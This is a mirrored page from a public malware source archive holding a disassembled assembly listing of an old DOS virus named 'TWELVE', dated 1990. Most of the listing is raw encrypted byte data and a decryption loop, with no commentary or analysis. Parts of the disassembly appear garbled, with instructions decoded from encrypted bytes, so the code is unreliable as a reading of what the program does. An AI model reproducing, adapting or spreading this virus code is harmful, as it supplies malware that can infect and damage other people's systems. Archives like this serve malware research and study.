mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
4b9382ddbc
push
303 lines
15 KiB
NASM
303 lines
15 KiB
NASM
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ TWELVE ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 26-Apr-90 ÛÛ
|
|
;ÛÛ Version: ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: H ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 3366h ; (7415:3366=0)
|
|
data_2e equ 7EF7h ; (7415:7EF7=0)
|
|
data_3e equ 8C8Dh ; (7415:8C8D=0)
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
twelve proc far
|
|
|
|
start:
|
|
;* jmp $+4h ;*
|
|
db 0E9h, 1, 0
|
|
db 21h, 46h, 0B8h, 9Bh, 1Ah, 0BFh
|
|
db 2Bh, 1, 90h, 4Bh, 0F8h, 0FCh
|
|
db 0B9h, 71h, 5, 31h, 0Dh, 2Bh
|
|
db 0DAh, 33h, 0D9h, 2Bh, 0D9h, 2Bh
|
|
db 0D8h, 90h, 33h, 0D1h, 31h, 5
|
|
db 46h, 43h, 0F8h, 40h, 90h, 47h
|
|
db 0E2h,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h, 15h, 12h, 74h, 77h
|
|
db 6Ah, 12h, 54h, 80h, 9Dh, 2Bh
|
|
db 94h, 0C0h, 58h, 0B2h, 59h, 0D1h
|
|
db 20h, 0D2h, 4Dh, 0F6h, 0B6h, 78h
|
|
db 0B3h, 9, 76h, 25h, 74h, 35h
|
|
db 54h, 0F3h, 20h, 0CEh, 0F3h, 58h
|
|
db 83h, 2Bh, 5Bh, 8Dh, 23h, 6Bh
|
|
db 0C7h, 1Eh, 0F4h, 0C8h, 8Ch, 0E0h
|
|
db 2Dh, 0DCh, 36h, 0C0h, 27h, 0C4h
|
|
db 3, 78h, 18h, 40h, 0FDh, 0F2h
|
|
db 0A2h, 1Fh, 5Bh, 0F3h, 2Eh, 64h
|
|
db 0A3h, 0E3h, 94h, 0E6h, 29h, 92h
|
|
db 9Ch, 0DEh, 55h, 81h, 0C4h, 0DEh
|
|
db 0C4h, 0DAh, 3Ch, 26h, 64h, 0BDh
|
|
db 5, 76h, 14h, 0F4h, 0FDh, 0AEh
|
|
db 0BCh, 0C0h, 35h, 0Eh, 26h, 23h
|
|
db 0B4h, 2Ch, 0B5h, 83h, 16h, 3Fh
|
|
db 0Ch, 2Ch, 58h, 0Fh, 0A8h, 2Ah
|
|
db 0DEh, 7, 5Eh, 12h
|
|
loc_1:
|
|
cmp al,0Fh
|
|
mov bp,7E24h
|
|
aas ; Ascii adjust
|
|
lodsw ; String [si] to ax
|
|
mov bl,2Ah ; '*'
|
|
cld ; Clear direction
|
|
mov bx,7E1Fh
|
|
pop es
|
|
push es
|
|
push di
|
|
db 2Eh, 55h, 0EDh, 93h, 7Dh, 49h
|
|
db 6Ah, 18h, 5Fh, 0BCh, 0DBh, 75h
|
|
db 0AEh, 0D1h, 73h, 0E6h, 1Eh, 2Ch
|
|
db 0BEh, 78h, 29h, 0A7h, 0A3h
|
|
db 78h
|
|
|
|
locloop_2:
|
|
mov bh,ch
|
|
add dh,ds:data_2e[si] ; (7415:7EF7=0)
|
|
adc word ptr [bx],41h
|
|
esc 7,cl ; coprocessor escape
|
|
pop cx
|
|
xchg ax,dx
|
|
rcr cl,1 ; Rotate thru carry
|
|
rcl byte ptr [di-68h],cl ; Rotate thru carry
|
|
esc 2,ds:data_3e[di] ; (7415:8C8D=0) coprocessor escape
|
|
sbb al,ds:data_1e[bx+si] ; (7415:3366=0)
|
|
loc_3:
|
|
mov bp,7EA5h
|
|
adc word ptr [bx+di],0CD5Fh
|
|
sti ; Enable interrupts
|
|
ja loc_1 ; Jump if above
|
|
db 0F2h, 0D3h, 0Bh, 7Bh, 0AAh, 0E8h
|
|
db 0B3h
|
|
db 4Bh, 4Dh
|
|
loc_5:
|
|
esc 3,[bp+si+4E0Eh] ; coprocessor escape
|
|
movsb ; Mov [si] to es:[di]
|
|
push ds
|
|
adc [bp+0Bh],al
|
|
popf ; Pop flags
|
|
push si
|
|
add al,dl
|
|
db 6Fh, 0F3h, 0Fh, 54h, 0F9h, 0F3h
|
|
db 76h, 0B9h, 11h, 0DEh, 90h, 0F7h
|
|
db 56h, 0F7h, 0EDh
|
|
loc_6:
|
|
loopz locloop_2 ; Loop if zf=1, cx>0
|
|
|
|
;* jo loc_4 ;*Jump if overflow=1
|
|
db 70h, 0D3h
|
|
xlat [bx] ; al=[al+[bx]] table
|
|
jbe loc_5 ; Jump if below or =
|
|
esc 5,[si] ; coprocessor escape
|
|
test cx,sp
|
|
dec ax
|
|
adc al,49h ; 'I'
|
|
int 0BDh
|
|
push di
|
|
in ax,dx ; port 0, DMA-1 bas&add ch 0
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
call $-4A7Fh
|
|
sbb ax,5E05h
|
|
push bp
|
|
jl loc_3 ; Jump if <
|
|
das ; Decimal adjust
|
|
dec si
|
|
;* jmp short loc_7 ;*(04BD)
|
|
db 0EBh, 0EDh
|
|
db 18h, 0D3h, 49h, 36h, 95h, 9Dh
|
|
db 14h, 0DBh, 71h, 36h, 99h, 95h
|
|
db 68h, 0B5h, 0F0h, 70h, 30h,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